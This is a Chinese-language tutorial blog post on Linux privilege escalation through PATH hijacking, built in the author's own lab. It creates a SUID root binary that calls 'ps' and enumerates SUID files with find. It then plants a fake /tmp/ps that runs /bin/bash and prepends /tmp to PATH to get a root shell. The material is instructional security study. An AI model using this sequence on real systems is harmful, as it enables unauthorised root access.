利用PATH提升linux权限
参考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
这篇文章是我学习大佬的博客,加上自己的理解写的,大佬写的更详细,总共写了4种方法,但是在我看来这都是一种方法,所有我加上我浅薄的理解,总结了一个方法。
1.介绍
PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。
借助echo 命令查看相关用户的路径非常简单。
echo $PATH
如果你注意到'.' 在环境 PATH 变量中,这意味着登录的用户可以从当前目录执行二进制文件/脚本,这对于攻击者来说是一种提升 root 权限的极好技术。这是由于编写程序时缺乏注意,因此管理员没有指定程序的完整路径。
个人理解:
就是在/bin/,/sbin/目录下面的命令我们可以在任何目录下面直接调用,不需要加上绝对路径,比如cat,echo,id,
ps,ls,vim,你会发现这些都在/usr/bin/ 或者/usr/sbin/目录下面,所有你调用这些命令不需要加上绝对路径,可
以直接调用,这篇文章说的就是改写这些命令进行覆盖原来的命令,比如改写一个ps覆盖原来调用的/usr/bin/ps这个系
统命令,改写的ps里面我们写上我们的内容,然后进行覆盖去执行,达到提权的目的。(现在没看懂没关系,可能我表达
不是很好,往后看你就都明白了!🙄)
2.创建测试文件demo.c
我们现在目前是root权限:
我们进入/home/tzf目录下面创建一个新目录script,然后在这个目录下面写一个c程序,这个c程序里面会调用一个系
统命令ps(当然了!,你也可以调用echo,cat,ls,vim随便哪一个系统命令都可以,大佬的文章写了四个命令,我这里
就讲解这一个吧,其他的用法大同小异,大家可以去膜拜膜拜大佬写的!😉)
命令:
mkdir script
cd script
touch demo.c
vim demo.c
demo.c 内容:
void main()
{
setuid(0);
setgid(0);
system("ps");
}
不好意思,这里忘记切换进去script文件夹了😂,在哪个文件夹下面都一样的其实。
正如您在我们的 demo.c 文件中所观察到的,我们正在调用 ps 命令(进程状态),它是系统二进制文件。跟ls,cat,vim,echo
都是一样的。
3.编译demo.c文件并加上权限
gcc demo.c -o shell
chmod u+s shell
ls -al
我们可以看到现在shell就是demo.c经过编译得到的二进制文件,demo.c的内容就是调用系统命令ps,然后shell这个二进制文件他的用户是root,但是普通用户也是可以以root权限去执行二进制文件的,因为我们加了s权限。
关于chmod u+s命令的解释:https://www.cnblogs.com/bruce1992/p/14307745.html
现在我们切换到普通用户tzf,就是说我们已普通用户去执行shell这个文件是用的root权限去执行的,这么说大家应该能理解。我们发现shell它会去调用ps这个命令。我们现在可以看到ps这个命令现在是在/usr/bin/目录下面的,就是说我们现在执行./shell这个文件是调用的/usr/bin/ps这个命令,后面接着看🧐。
4.提权
首先,您需要破坏目标系统,然后进入提权阶段。假设您通过 ssh 成功登录到受害者的机器。然后不用浪费时间,在 Find 命令的帮助下搜索具有 SUID 或 4000 权限的文件。
find / -perm -u=s -type f 2>/dev/null
因此在上述命令的帮助下,攻击者可以枚举任何可执行文件,在这里我们还可以观察到/home/tzf/script/shell具有 suid 权限。suid权限就是我们刚刚加的u+s。
可以看到这个就是我们刚刚写进去的二进制文件shell
这里我就以普通用户tzf做演示,就当我通过ssh连上tzf这个普通用户然后提权到root用户。
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami
5.个人理解
可以看到第三步的时候我们执行./shell这个命令调用的ps是/usr/bin/ps这个命令,但是最后我们在第四步执行的./shell这个命令,此时ps这个命令的绝对路径变成了/tmp/ps,然后/tmp/ps是我们自己创建的一个文件,里面内容是/bin/bash,所有我们在第四步是以root权限去执行的./shell这个命令,同时也是以root权限去执行的ps命令,也就是执行的/bin/bash,所以我们成功提权到了root的终端,成功提权。
有人可能会问为什么不调用/usr/bin/ps,而是去调用的/tmp/ps呢,/usr/bin/ps这个文件难道没了吗?不没有,不信你可以执行cd /usr/bin;ls | grep ps
看看,ps文件其实还在,我猜测应该是因为我们的/tmp/ps加在了$PATH环境变量的最前面,而且当我们执行ps这个命令的时候,他去环境变量里面找应该是从头到尾开始找,找到了就停止了,所以先找到的是/tmp/ps这个命令,就直接调用了。所以并不是/usr/bin/ps被/tmp/ps覆盖了,只是被拦截了!👀,这只是我个人的理解,如果有误请大佬指正!
我经过查证确实如此
参考链接:https://blog.csdn.net/chanzhennan/article/details/84140301